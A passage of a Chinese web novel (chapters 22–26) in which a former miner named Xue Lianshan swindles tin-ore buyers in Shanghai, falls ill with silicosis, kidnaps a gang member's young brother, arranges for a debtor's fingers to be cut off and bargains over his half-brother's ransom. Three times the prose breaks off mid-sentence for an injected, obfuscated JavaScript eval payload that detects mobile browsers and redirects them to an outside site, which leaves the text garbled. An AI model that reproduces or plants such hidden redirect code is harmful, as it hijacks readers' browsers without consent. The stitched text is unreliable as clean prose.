他盯着镜中的自己,笑了一笑,笑纹颤颤的,心里跟着颤颤的,又惊讶又欢喜。其实这身派头都是他跟城里的电影海报学的,海报有戏剧化的风格,他也把自己捯饬得很夸张,与日后成熟的造型差得远了。可他当时真的惊喜交集。 站得离镜子更近一步,微微地笑起来,这回镇定多了——十六岁的薛莲山虽然没有长成健硕阳光的样子,但自有一副贵气的派头。眼尾下垂,使他常有一种温柔、多情的神态;鼻子从前是很薄的,现在变坚固了,山根端秀、准头丰满。他长得高,长的成熟,看起来比实际年龄要大。 他觉得——至少从面相上看,他比薛兆荣像样多了。 当晚薛莲山包下了礼查饭店的套房,宴请三位老板。他从没见过这么金碧辉煌的包厢,桌椅板凳都是梨花木的,屏风上绣了巨幅山水图,两侧的墙壁上挂了字画;能旋转的玻璃圆盘上,摆着琳琅满目的菜品,桌边坐着三个穿英式西装的男人,都比他爹年纪大,黑沉沉的一片,嘴角自然地向下撇,给人威压感。他迟到了,因此三位老板率先沉了脸。 而派头已经上了他的身,他阔步走进去,拉开凳子,理了理衣服下摆就坐下了。 “不好意思,让诸位久等了。家父身体抱恙,这回只好由我代他前来。”他望向挂钟,露出歉然的表情,“我十分钟前就该到的,但是军工厂的人下午临时相约,谈得太久,不小心误了时辰。” “哦,薛二少爷,幸会幸会。军工厂是怎么一回事?” “是这样,我们不是掘出一口新矿吗?你们是家父的老朋友,家父特地叮嘱过我,要找下游,首先找你们。然而这消息因为上了报纸,被军工厂知道了,他们希望我们能专供给军工厂。”他说着,拿出三块刚买来的锡矿样本摆在桌上,“等家父身体好转了,欢迎你们来徐州看矿。军工厂也想去看矿,我还得想办法拖他们呢!” 三位五金厂老板被他唬得一愣一愣,拿了矿石,临别时改了口,由“薛二少爷”叫成了“薛先生”。 薛莲山信步走出饭店,心里的喜悦在激荡:他知道自己胆子大,没想到大到这个地步,一丝一毫的怯场都没有,越说越兴奋,越演越像样。何况名实相生,他们叫他“先生”,他也愿意摆出成熟的姿态;他愈发显得自信可靠,他们愈要叫他“先生”。 薛莲山非常、非常喜欢这个文明的称呼,他是不愿意像父亲那样被人叫“老爷”的。 镜子里,一个黑乎乎的小矿工跑过去,一个弯腰驼背的山少爷走过去,最后的最后,西装革履、从容优雅的薛先生在镜子里站定,还戴一副眼镜——也是文明的象征,朝他眨了眨眼睛。薛莲山忍不住伸手按在镜子上。我想成为你。 23.抛弃 一周后,三位老板虽还没看到矿,但为避免军工厂抢占先机,提前交了五万的订金。 这一周他也没闲着。薛老太爷说不出话,郗氏忘了一点:即使矿挖空了,矿上的机械设备却都可以卖的。对于矿山的锅炉、蒸气绞车、电绞车、水泵、风镐等等设备的数目、老旧程度,他是一清二楚,又大着胆子给徐州周边的矿业公司拍电报,问它们收不收。 有一个叫杜小春的山东商人回了电报,说他会尽快到矿上看一看,估个价钱。 这会儿他手头上已经有二十万了,但薛莲山改变主意了,他不能立刻去赎薛兆荣。赎了,薛家将会迎来真正的继承人,他也再没有本钱把这个骗局圆回来——薛莲山并不想当骗子,他此刻已经有了强烈的、在上海留下来的愿望,不能干卷款跑路这种丢人的事。 不过赎还是要赎的,不救自己的哥哥一样不利于名声。薛兆荣虽然不是个东西,也没打骂过他。去年买了一辆小汽车,看薛莲山摸来摸去、喜欢得很,他就允许薛莲山学着给自己当汽车夫。薛莲山很迅速地学会了,但因为薛兆荣追着女伶跑到外地去了,小汽车也落了灰。 所以他的计划是,利用这些本钱赚更多的钱。让他在还了骗来的钱、赎了薛兆荣之外,还留有一部分,可以在上海立足。唉,要是早想到这一点,就不该用这种方式取得五万块钱,手头的十五万都足够他活动了。但话说回来,来这里之前,他确实只知道要营救薛兆荣;是经历了这一场诈骗的过程,开了眼界,才另有想法的。 世上根本没有值得后悔的事,要么是代价,要么是教训。这五万,就是他走向新世界的门票。 他天天在市场上走动,把薛老太爷八百年没联络的伙伴们全联络起来了,也就得到了一条消息:常州正好有一座小锡矿要转手。矿的品质并不高,但可以应急,薛莲山火速跟这位叫魏书理的矿主取得了联系,表示愿意买他的矿;同时也预备着做外贸——他在这座城市没有立足,没法做实体产业,只有赚外贸差价最为暴利。 某天晚上,他咳个不停。一开始他没放在心上,咳嗽是老毛病了,这些天又奔波、又四处跟人说话,或许是累到了,就早早上了床。结果越咳越厉害,忽然嗓子一甜,吐出一口血。 薛莲山连忙穿好衣服往医院跑,一路上仍然咳个不停,跟洋车夫讲话都讲不明白。好在洋车夫一看他这样子就知道是要去医院。到了医院,大夫先问了有没有痰、发不发热,又拿听诊仪在他胸口一听,很快得出结论:“你这是肺部感染。什么时候开始咳的?” “一个小时前。” “才咳一个小时就咳出血了?” “这一场是一个小时前,但我一直有咳嗽的毛病,十岁开始的。” 医生又在他胸口听了一阵,收起听诊器,瞧他年纪轻轻,试探着问:“你有在粉尘环境下工作过吗?” 薛莲山心中浮现出不好的预感,“我以前是矿工。” “哦!”医生很惊奇地又打量他几眼,“你应该有矽肺。矽肺患者的肺部广泛纤维化,弹性下降,血管很容易破裂出血。免疫力也低下,容易被细菌感染,也会出血。以后你要离开粉尘环境,戒烟,也不要剧烈运动。” 当时即使是教会医院也没有抗菌药物可用,医生只给他开了副中药方子。至于矽肺,更治不了,只能叮嘱通风、补充营养、静养休息。 有具话是这么说的:健康的身体不能感觉到内脏的具体位置,一旦你感受到了某个内脏,那它就不健康了。薛莲山此刻就能感受到自己两片破烂的肺叶,因为在出血,所以如焚。他其实早就隐约意识到自己有慢性病,听到这个结果也没有太惊讶,只是觉得苦涩。 他的人生还没开始呢,健康就被完全摧毁了。 到达邮局的时候,他已经站立不稳,赶紧往家里拍了一封电报,捎带一笔买车票的钱,说请汪妈前来。 回酒店一躺,他就病得人事不省。发了一晚上的烧后,肺部感染成功转为肺炎,弄得他是又咳又吐,浑身发烫。每天只有酒店服务生送饭上来,然后根据他的要求,买一点药、绞个冷毛巾之类的,多的也做不了。 汪妈怎么还不来?他昏昏沉沉地想,我十七岁就要死了?现在我娘才十一岁,怀不了孕啊。 在不知道是多少天的时候,汪妈总算到了,一进门就很麻利地用冷水给他擦了一遍身子,然后煎药、做饭、拾掇屋子。薛莲山已经病得脱了相,两只眼睛深深地凹进去,看到她来,心里很欢喜,甚至有一点撒娇的意思,“我想吃回锅肉。” 汪妈哼一声,“想吃是好事!看看这一屋子的垃圾,你前些天根本没有吃什么。” 他靠在床上,因为个子太长,两只脚交叉着搁在床脚的栏板上,也是个没正形的姿势。看她叮铃哐啷地忙活,心想我以后一定把她当亲娘孝敬! 现在这样就很好,在上海,家里没有这老爷、那少爷的,就我们两个。 几天后,他稍微好转了一些。然而这场病耽搁了太多时间,三位五金厂的老板已经开始催看矿了,薛莲山就趴在电话边,慢条斯理地告诉他们:军工厂那边有政府施压,没有办法,只能专供给它们。不过稍安勿躁——稍安勿躁,他还有别的锡矿,如果他们不要求退回五万的话,可以给打个折,作为两百吨锡矿的货款,本月末就可以发货。如果要退回去,后面依然可以继续合作,不过正常的两百吨锡矿价格是六万六。 三位老板很恼火,然而价格上确实打了折扣,也就不好深究了。 当晚薛莲山又发着烧去见魏书理,为避免对方误以为自己是肺痨,一直拼命喝茶。魏书理在外面欠了债,实在是急用钱,一见他,就套近乎道:“是薛老太爷家的公子?哎呀,在江苏,谁不知道薛老!我以前去你们家做过客,兴许还抱过你咧!” 薛莲山哈哈一笑,“如此一来,我要叫你一声魏叔叔。叔叔是遇上什么困难了?” “唉,玩牌么,你要知道在租界的赌坊玩牌,一晚上就能玩出去几万、十几万的。”魏书理道,“所以我只能贱卖这口矿。薛公子,我不坑你,我真的是迫不得已,贱卖出去了——二十二万,干不干?” “魏叔叔别这样,我们家也是做矿业生意的。你寄给我那些样本,肯定是赶最好的寄,平均品质只会有样本的80%。实不相瞒,我也急用钱,我都许给人家两百吨的锡了,说标准价格是六万六。那矿的品质值不了这个价钱。” “那么,你说多少?” 薛莲山张口就是:“十六万。” “哈!”魏书理都要气笑了,“哪有这样谈的?你诚不诚心?” “我可以一次性付清。魏叔叔你要是去找别人,大概得分三四期。”薛莲山微笑道,“没有谁急着要盘一口锡矿下来,不信你再找人问去。只有我,很明确的需要锡矿,而且手头上有这么多,愿意一次性支付。” “......二十一万。” “十六万。” “别十六万了!”魏书理简直急眼了,“祖宗,这价格合适吗?” 薛莲山轻咳一声,掏出一张小纸条摆在桌上,“不合适。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065261|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,现在不是比谁出的价合适,而是比谁急。你大概比我更急着用钱,我的电话写在这上面了,想通了就打来吧。” 他当真是头也不回地出了门,在酒店门外,跟汪妈撞了个正着。汪妈背着来时的大包袱。她来的时候,他昏昏沉沉,没有看清楚,现在才看出那并不算大的包裹在她肩上显得像个庞然巨物。四年前她还能背起她,如今她只能到他的胸口。 “你要走了?”他连忙迎上去,“再留一阵子吧。” 汪妈的表情紧紧绷着,忽然开口道:“你已经有二十万了,是不是?” “没有。” “说谎话!我看到了票子,我虽然不认字,但认得数字,之前也帮老爷兑过支票。你弄到了五万。你不想去救荣少爷!” “不是,汪妈,我不能一走了之。这五万来的不干净,我必须想办法——” “荣少爷被绑架了!”汪妈突然大声叫起来,一边跺脚,一边哭道,“我抛下自己刚出生的儿子来给荣少爷喂奶,一来就是二十多年,荣少爷不但是我的主子,更是我的儿子。现在他落了难,你就算对他没感情,你对得起我么?对得起薛家吗?若没有薛家,你什么都不是,你现在拿着这么多钱在上海逍遥自在,有考虑过我们吗?” 薛莲山沉默地盯了她几秒钟,知道她把支票揣上了。且不说他生来就有薛家财产的继承权,他给薛家打的工,就比在薛家吃的饭还多。这些道理,他懒得跟她说,显得自己小气,他现在就急着跟她说明一件事:“薛兆荣有亲娘。” “跟这有什么关系?” “我承诺过以后会把你当亲娘孝敬,我说到做到。他有亲娘,只把你当个下人,你跟他有什么好处?他成器吗?” “再不成器也是我亲手养大的!” “我给你当儿子,行不行?我不要你养,我养你。” “......你不要耍无赖。我走了,我去救荣少爷。” 薛莲山火气直往上冒,一把抢过她的包袱,扔在地上翻找。汪妈像只捍卫小鸡的母鸡一样,猛地撞向他,他大病未愈,一下子没站稳,跌坐进路边的水沟里。好巧不巧的是,魏书理正坐洋车路过,很惊奇地喊了一声:“薛公子!” 薛莲山猛地爬起来,决定要么推汪妈一把,要么把魏书理拽下来按在水沟里。 但是——但是,你不是要当绅士吗? 很多年后薛莲山想起来这一幕,都认为自己的人生从此迈上了一个高阶。 这样的事他从小就屡见不鲜:抽烟、酗酒、赌|博、打老婆,纯粹的情绪的发泄,无能的男人。他认为自己和他们格格不入,但除了打老婆他也样样都沾;不打老婆,是因为没老婆,他也偷东西、打架,虽然心里不舒服,但他都做。 他其实不愿意也不会打架,但别人看他个子大,都以为他武德充沛,一定要冲上来挑衅。薛莲山应战的次数少,跑路的次数多,往地道里躲,像只耗子。 恭喜你,再不用回到他们之中了,可以从从容容地站在地面上,学习做个尊贵的绅士。 第一课,不能伤害女人。 薛莲山足足停顿了好几秒,把那股狂怒的火和喉咙上的痒意压下去,强行抽出支票,绕过她上楼。 屋里漆黑一片,汪妈临走前把灯、门窗都关了。他一个个房间地冲进去拉灯,皮鞋踩得地板很响,光球接连在眼前炸开,给人一种身在战场、炮弹横飞的错觉;停下来后,四周又静悄悄的,谁也不在。他蹲在墙边,长长地咳了一串,肺部连着头骨一起震,震出了几滴眼泪。 24.子驹 两天后,他穿着来时的长衫出现在了租界的一家赌坊里。年轻漂亮的女侍者引他进去,殷切地问:“先生是第一次来?” “是的,不过我不玩,我想找你们的主管。” 女侍者愣了愣,不理解,但还是替他叫来了。主管还不知道谁口气这么大,初来乍到就要唤自己下来,但是看他气度不凡,依然笑容可掬地问:“先生贵姓?” “免贵姓薛。”他说,“我听说这里的赌坊都是受青帮控制的,我想见一见他们,随便谁都可以。能不能给个地址或者电话号码呢?” 主管的笑容收起来了,因为听出了他的口音。进了赌坊却不玩,肯定是没钱玩;又有求于青帮,又没有人脉。没人脉就算了,居然敢直接走进一家赌坊就这样问,他怎么好意思? 主管于是用一种睥睨的眼神看着他,双颊的垂肉微微抖动,试图使他羞惭。薛莲山也和他对着看,并没有要羞惭的意思。最后,他只得开口:“没有这样的事。客人要么玩,要么走吧!” 其实薛莲山心里早就开始羞惭了,闻言一点头,从善如流地走了。又问了几家,仍然没人愿意告诉他。到达一家烟馆的时候,他实在是嗓子干,不能再走下去了,被下逐客令后,顺手就把柜台上一尊琉璃烧制的八宝塔推到地上。 于是青帮中人在二十分钟内现了身,一把掐住他的脖子往车上塞。 薛莲山在车里咳了个死去活来,看开车的人年纪也不大,不爽道:“我又没反抗......咳咳,你、你怎么掐人?” “苏北佬?”邵子驹往窗外吐掉烟头,“来讨饭的?” 薛莲山要气笑了,“那琉璃塔多少钱?” “一百二十二银元。” “我取了钱就赔给你。” “你还想去取钱?让你家人送过来。” “家人不在这里。” “哦,在忙着种地。” 毕竟有求于人,他不好发作,几次深呼吸后,说:“这位小兄弟,我并非寻衅滋事,是有件事找你商量,事若成了,你也有好——” 到了地点,邵子驹拉开车门,把他的手一把反绞到背后就推着走,进了一个灰墙围起的建筑里。薛莲山越看越不对,这里虽然不是正经巡捕房,但室内都是铁栏杆隔成的房间。正欲张口,屁股上挨了一脚,跌到面前的单间里去了。 邵子驹在铁门外挂了锁,“告诉我一个通信地址,十天内没人来保释你,有你好看的。” “蠢货!”薛莲山终于忍不住了,“我不仅能赔琉璃塔,还有两千预备给你们。你听不进人话是不是?除了把我收拾一顿,你得到什么了?养条狗都知道往家里叼骨头,你上头养你是因为剩饭太多吃不完吗?” “我问你地址!” 他想说“你娘床上”,矿场上都是这么说浑话的,但是——但是跟混混一般见识做什么呢?越是这种无法沟通、无能为力的时候,他就越感受到文明的重要性,不仅自己要文明,还要往高处爬,让所有人都以他喜欢的方式跟他说话。所以薛莲山又一轮深吸气,“我可以在你的陪同下去取钱,我不会跑。” 邵子驹最终还是没有答应。彼时的薛莲山身上颇有些肌肉,个子又高,真要挣扎起来很难制住;他是后来养尊处优、久坐不动,又持续性生病,才让多年体力劳动的痕迹荡然无存的。 薛莲山真的无话可说了,对牛弹琴的心情应如此。单人间非常狭窄,床、椅子都没放,就在墙角边堆了几块脏兮兮、潮乎乎的草席。他一手提起前襟下摆、一手将后摆捋顺,席地而坐,闭上眼睛。 车到山前必有路,他不能因为我打碎一个琉璃塔就把我枪毙了。 中午时分,他听到有狗在叫,认为是邵子驹回来了。然而真的有一条小狗窜进来,在本就不大的牢房里到处跑,甚至还能在栏杆缝隙里钻进钻出;后面有个小男孩乐颠颠地追。其人面貌和邵子驹有七八分相似,穿着很朴素,因为天气热,上面一件小褂子,扣子敞着;下面一条袴子,一只袴脚卷起来,一只袴腿散下来。显然生活有基本保障、但无人照顾的,由着他自己乱玩。 他立刻蹲在栏杆前,一顿嘬嘬嘬,把惊慌失措的小狗嘬了过来。邵子骏满头大汗跑到他面前,只见他已经站了起来,笑眯眯的,手上托着那只小狗。 “给我!” “小弟弟,你怎么能跑到这种地方来?” “快给我!” 也听不懂人话。薛莲山一把掐住了小狗的脖子,那狗四肢在空中乱蹬,发出一串惊慌的呜呜声;邵子骏立刻蹦了起来,大吼道:“你等着,我告诉我哥——” 他的另一只手从栏杆间伸出去抓住邵子骏的手腕,把他拽回来,“闭嘴!我问你,你哥是不是有牢房的钥匙?再叫我把它脖子扭断了。” “......是。” “好,他现在人在哪里?钥匙在哪里?” “人在见客人,钥匙在抽屉。” “我倒数五百下,如果你没有把钥匙拿过来,我立刻把它脖子扭断。”薛莲山开始倒数,“五百,四百九十九,四百九十八......” 邵子骏掉头就跑。 薛莲山根本没有心情一直数数,但是邵子骏心里一直在数,由于数学不好,数完四百后直接数三百零九,自发地缩短了时间。跑到牢房大门口时,只剩十秒了,急得摔了一跤,钥匙从地上直滑到薛莲山面前。 薛莲山放开狗,捡起钥匙自己反手开了门,大步走出来,顺便把邵子骏也从地上提起来了。邵子骏本来还盯着狗看,看那狗活蹦乱跳,放了心;一扭头,才意识到自己被捂着嘴抱上了洋车,立刻一顿拳打脚踢。 薛莲山摁住他,对洋车夫解释说:“我弟弟,不肯回家,非要在外面玩。” 他把邵子骏拐回酒店后,先把他塞到衣柜里锁起来,然后签了一张支票,让听差帮忙去兑,将两千一百三十银元的现金拿回来。听差一看到这个数目,吓得趔趔趄趄,立刻去了。 他心情大好,这才回到楼上,让邵子骏出来。邵子骏此刻已经吓白了脸,叫也不叫,只喃喃着说要回家。 “很快就能回家了。我绑你,是怕你哥哥中途追上来,不由分说地又把我关回去——他根本不跟我沟通,也不让我取钱。等他拿到钱,你便可以走。”薛莲山蹲下来,把他的裤腿卷起来,“刚才摔破皮了?” 邵子骏把裤腿扯下去,抗拒着他。薛莲山想这下完了,他在混混面前都没骂脏话,却欺负完小狗后欺负小孩。接下来的几个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069869|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时里,他使劲浑身解数哄孩子——对他来说很容易,薛兆赫就是他哄大的。 没过多久,邵子骏就主动告诉他:我叫邵子骏,哥哥叫邵子驹,他是邵老爷子手底下的人!邵老爷子你知道吗?开了很多很多烟馆的。 毕竟邵子驹看样子就对他弟弟只有经济上的抚养、毫无生活上的照顾,而薛莲山哄人的功力又非同小可,现金送到的时候,邵子骏完全放下戒心,已经开始大吃酒店供应的晚餐了。 薛莲山坐在对面,问:“你哥哥怎么还不来?” “你也没告诉他你在这呀。” “好吧,我以为青帮很厉害,能一路打听、追踪过来呢。”说完,他自己都笑了:邵子驹那么蠢,其他人估计也没好多少。一群混混,不过如此。 到了九点钟,薛莲山实在坐不住了,想主动去找邵子驹。然而他不知道邵子驹具体住哪里,不能跟洋车夫形容“一个私人牢房”吧?邵子骏也说不清楚,真是的,看上去有十岁了,怎么这么蠢。 小蠢货吃完饭又开始想回家,他赶紧用领带给他扎了一只小狗玩。小蠢货惊为天狗了,“哇,真的像!” “用干草扎还能更像,因为硬,有形状。” “你还会扎什么?” “扎蚱蜢。不行,这个用领带真的扎不了......你睡觉好不好?睡前有什么习惯?直接睡?这里供应热水的,我让听差送热水上来,洗一洗脚好不好?” 薛莲山想:原来上海人也不是天天都洗脚。 当晚邵子骏在床上呼呼大睡,他趴在桌边眯了几个小时,五点就醒了,还是没有被人破门而入。他只好手写了一个字条,说自己住在哪里,绑架了一位名叫邵子驹的青帮人士的弟弟,然后让听差递到巡捕房去了。下午,几个巡捕和邵子驹总算破门而入。 邵子驹火气很大,不过也意识到了他真的有钱,接下来的事就好办了。他说明由来:“是不是有个叫魏书理的人欠你们钱?就在赌坊欠的,你应该清楚。” 邵子驹痛快地一点头,“是,很大一笔数字。” “我愿意给两千,希望你立刻去催债,最好吓唬他一顿。这对你们来说百利而无一害。他迟迟不还钱,你们本就该催债,催完后,他有概率立刻还上。而我这里还有额外的钱。” 他特意把好处讲得很细,生怕邵子驹听不懂好处在哪里。邵子驹确实是听懂了,“为什么?” “这你不用管。干不干?” “干。”他毫不迟疑道,“你给的很多,要怎么吓唬?你来定。” “别弄死了就好,替我保密。” 邵子驹拎着弟弟回去了,第二天,魏书理亲自上门,表示愿意立刻把锡矿卖出去。他面色苍白,举起一只缠着后纱布的手,本该属于中指、无名指和小拇指的位置空空如也。 朋友受了这么大的惊吓和伤害,正是绅士开始表现的时机。他先让听差送了一些热食和牛奶上来,又表情沉重地摸了摸魏书理那只手,最后用自己的语言艺术极尽关切、宽慰之能事,全方面地呵护了魏书理的心灵。良言一句三冬暖完了,还要忠言逆耳利于行一下,“我劝叔叔尽快凑钱,谁知道他们下回催债用什么手段呢?” 他仅花十四万买下了锡矿。 25.新春 郗氏写信过来了,因为知道大势已去,骂他、讲道理都是没用的,只是说自己快要把眼睛哭瞎了,望他体恤一个母亲的心情;又说从汪妈那里得知他大病一场,关心他的身体怎么样。 薛莲山认为关心就免了,把眼睛哭瞎也大可不必。 严少爷在拍完第一封电报后,再也没催过赎金。这也是位成日不着家的主,估计把薛兆荣往哪个屋子里一关,就忘了。他的情人也是流水般地换,在那女伶之后,不知道又换了多少。两家既无经济上的纠纷,又无血仇,严少爷不可能为了争风吃醋这点小事杀一个矿场主的少爷。 他把这一点写明白了,又详细地解释自己正在如何如何凑钱,劝她不要着急,照顾好自己和薛老太爷。 离开邮局后,他立刻处理给五金厂发锡矿石的事。当晚酒店前台又拿来一封电报,来自山东商人杜小春,说他看过设备了,希望能和他面议价格。 薛莲山托听差买了票,第二天一早就上了去济宁的火车。 他这段时期简直像陀螺,一来忙着转,二来觉得头晕,肺炎始终有没好全。累是累,但挨了许多鞭子,不得不往前走。苏北差点把他埋了,上海瞧不起他,天下偌大,并没有他的家和家人。 他在小时候是非常之渴望爱的,可始终没有得到任何回应。长到这个岁数,虽然没有爱别人的能力,好歹能演一演;对于别人真情实感的爱呢,则是不太需要了。爱像枚精美的戒指,有则可以把玩,没有也无可厚非。在汪妈那里栽了个跟头后,更觉得这小饰品透着凉意。 他只是迷恋自己在镜中的形象,渴望自己出人头地、文质彬彬。 见面后,杜小春报了自己的开价:七万七千六百银元。其实开高了,有几个电钻是不踢几脚不能动的。然而两人相谈甚欢,杜小春说:“小兄弟,你年纪轻轻,没想到比我还懂行!” 这会儿他并不向人隐瞒自己的矿工出身,只笑道:“自己摸过用过,当然懂行。” “其实公司里就是缺乏你这样的管理人才。你家的矿是要废弃了,要不要到我的公司里来?” 薛莲山拒绝了,然而同他去矿上走了一趟。这口矿尚未开始产出,还处在挖巷道的阶段,两人举着图纸一路视察、一路讨论,直叫杜小春觉得相逢恨晚,就差当场把女儿嫁给他了。 很不经意的,薛莲山就谈起自己最近盘下的一口锡矿有多么多么好,并且已经以其为注册资本,成立了一家公司(其实彼时上海法租界注册公司根本不需要验资),许多业内的朋友都入了伙。 公司是真注册了,他也没想好干什么;但是氛围都到这里了,突然就想诳杜小春一下。 杜小春咬钩了,“哦?你这么快就找到新的矿了?哎呀......那么,你也要成立公司了?我记得薛老太爷那口矿并没有这么正规。” “是的,时代进步了嘛。”薛莲山继续吹牛不打草稿,“而且我想了想,反正手上的资金也多,还可以独立出一个子公司专门做投资。不过,我没有相关方面的经验,得向你这样的大老板学习。” 两人分别的时候,杜小春给他签了一张八万的汇票——多的入他的股。他则承诺年末会把分配方案寄给杜小春,从明年开始发股利。 现在薛莲山手上有十四万外加一座锡矿,锡矿正在稳定产出中,还有客源。 距离薛兆荣被绑架才过去两个月。 回到上海后,他先把酒店退了,租了一间设施齐全的公寓,又运用手上的这些钱承包了几个桐油货栈,暂时做起了外贸。至于他跟杜小春说的做投资——他随口说的,显得钱多。作为没上过学、全凭社会经验做支撑的创业者,他不是很敢碰金融,只对实体经济有信心。 年底的时候,郗氏寄来了薛老太爷的讣闻。薛莲山捧着一杯热茶读了三遍,从胃里暖到心里,很难不认为是老天赐给他的节日礼物。 他觉得是时候把薛兆荣弄回来了,免得郗氏真要把眼睛哭瞎。 了解到严少爷在苏州后,他也买了张车票去苏州,到了酒店,前台说严少爷出门去听评弹了。不过是酒店的侍从开车送严少爷去书场的,需要的话,也可以送他过去。 书场里光线暗沉,天气就如此,蒙着一层灰云。二楼栏杆上挂着写有“开篇弹词” 四字的杏黄幡旗,一楼露天,三十来张酸枝木方桌沿墙排开,桌角嵌着铜制烟缸,积了不少烟蒂。戏台两丈见方,台前垂着缎子台幔,绣有缠枝莲纹的边角已磨出毛边。当值的是一位弹词名家的女弟子,正在低头调弦,藕荷色坎肩上露出一截脖颈,白而柔美。 薛莲山是第一次来这种场所。 在紧迫的前十八年中,他不停歇地拔足狂奔,跑过了毒气、跑出了矿山、跑得双亲都老了死了、从小孩跑成个大人,终于没有什么在屁股后面穷追不舍了,现在可以休息休息,拣个桌子坐下来。 他在墙角找了个空位坐下,静静听了一整场。苏州话听不太懂,评弹的形式也欣赏不来,他只知道看弹琵琶的女人。 像父兄一样,他早就懂得了女人的好处,但在窘迫的少年时期,他见了年轻女性总是绕道走。袴脚总是短的,身上总是隐隐有汗味。远不是他可以欣赏女人的时候,他还得捍卫自己的尊严,以免遭邻家小姐的嘲笑。 现在这种心理也没好多少,他敢跟男性胡说八道,对于更敏锐、更有灵性的女性,仍是敬而远之的。此刻因为坐在墙角,才细细地打量她,心里浮动着一种怃然的情绪,不知是对她还是对自己。 女人唱:“月落乌啼霜满天,江枫渔火对愁眠。姑苏城外寒山寺,夜半钟声到客船。” 一场结束,他在书场楼梯口卖玫瑰糖粥的小摊上找到了严少爷,说明来意后,严少爷几乎有点恍然的神色,疑似真的把这一茬忘了。 他直截了当地问:“你知道我爹死了吗?” “有所听闻。” “你知道我跟薛兆荣不是一个娘生的吗?” “有所听闻。” “现在是我当家。”薛莲山说,“撕票吧。” 严少爷一听,急了,“他在我家白吃白喝几个月,现在让我撕票,我不是亏大了?” “反正我不可能拿二十万救他。” “喂,喂,等等!那你开个价?” “唉,严少爷,我来这一趟不是为了救他,是为了听评弹的,正好碰到你,说说这个事。我毕竟是个庶子,得了家产,名不正言不顺,他回来就更糟了。价格真不必开,直接撕票吧。” “十五万行不行?” 薛莲山笑着摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076391|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手,当晚就坐火车走了。严少爷真的懵了,站在薛莲山的角度,他确实找不到任何一点赎薛兆荣的理由。但是他不能把薛兆荣怎么样,纨绔归纨绔,真的为了一个女伶杀人,他的名声要臭完了。 于是他命人去街上捡了个冻死的流浪汉,把耳朵割下来,寄给薛莲山。 薛莲山回了一箱熏腊猪耳朵,附一张新春喜帖:同乐。 严少爷怀疑这薛莲山是要借刀杀人,不肯如此便宜了他,又回信问:十二万行不行?价格一降再降,一开始薛莲山还回信,后来回都不回了。他当机立断,把那天弹琵琶、名叫杨柳的女弟子买下来,让她亲自拿着信给薛莲山送过去。 薛莲山开了门,一看到是个女人,半天没说出来话。 杨柳从严少爷那儿听了“矿老板”这个头衔,都做好对方是个黑胖子的心理准备了,没料到他这么年轻、这么好看,喜不自胜,轻声道:“严少爷让我把这封信给你。从此往后,我便是......便是你的人了。” 他定了定神,认为严少爷是做了件好事,接过信一看,赎金已经砍到了三万。行吧,就这么多吧。把信搁在桌子上,他请杨柳坐下,问:“什么叫你是我的人?” “我被买下来,送给你啦。” “别这样说,小姐。”他笑眯眯地给她倒了一杯茶,“新时代了,你是自由的。不过,你也可以自由地选择留在我这里。” 第一枚凉而精致的爱的戒指,他就套在了杨柳手上。从此以后,又套了许多女人,就像现在套住金雪池一样。不过都是虚拟的意象,他从不送人真戒指,那样一来,发展成婚姻,就套牢他了。 薛莲山收住思绪,只挑了最主要的几件事情讲给她听。金雪池面上毫无情绪反应,不像在听朋友的经历,却像听说书一样,只是追结局:“然后呢?” “然后我把桐油货栈卖了,又收了一座矿,拉拢几个股东,跟铁路局......” “哦,我是说你大哥回家后,他不跟你打官司争家产?” “打了,没打赢。” “其他家务事呢?” “我给薛兆荣娶了老婆、盖了新房,把小弟送到外国去读书,又给了郗氏一大笔钱,每逢年节都去看她。汪妈想告老还乡,回家后发现她男人赌钱把房子都赔掉了,只好再回来求助。我把她和她儿子接到上海一起住,把她当亲娘侍奉,给她儿子提供工作——就是定青,不会认字,跟在我身边打杂倒可以。她是四年前生病走的,走的时候我俩都在。” 薛莲山说到这里,叹了口气,“我早对她无所求了,向内不求她的真心,向外不求能凭这事迹举孝廉,就是爱当滥好人。所以你以后不必觉得麻烦我......” “不,”金雪池正色道,“你是一个很成熟的人。” 他把后面滔滔的话术都收起来,认真问道:“你这样觉得?” 她也认真地点了下头。 “我当做夸奖了。” “就是夸奖。” “哎呀,妹妹——”他笑吟吟的,探过来抱她。金雪池心里震了一震,想这可是床上!然而薛莲山只是把她连带着一层厚被子抱在怀里,甚至没有亲吻,用力挤了挤,像跟小孩、小猫闹着玩一样,用额头抵着她轻声说:“新年快乐。” 26.黑杰克 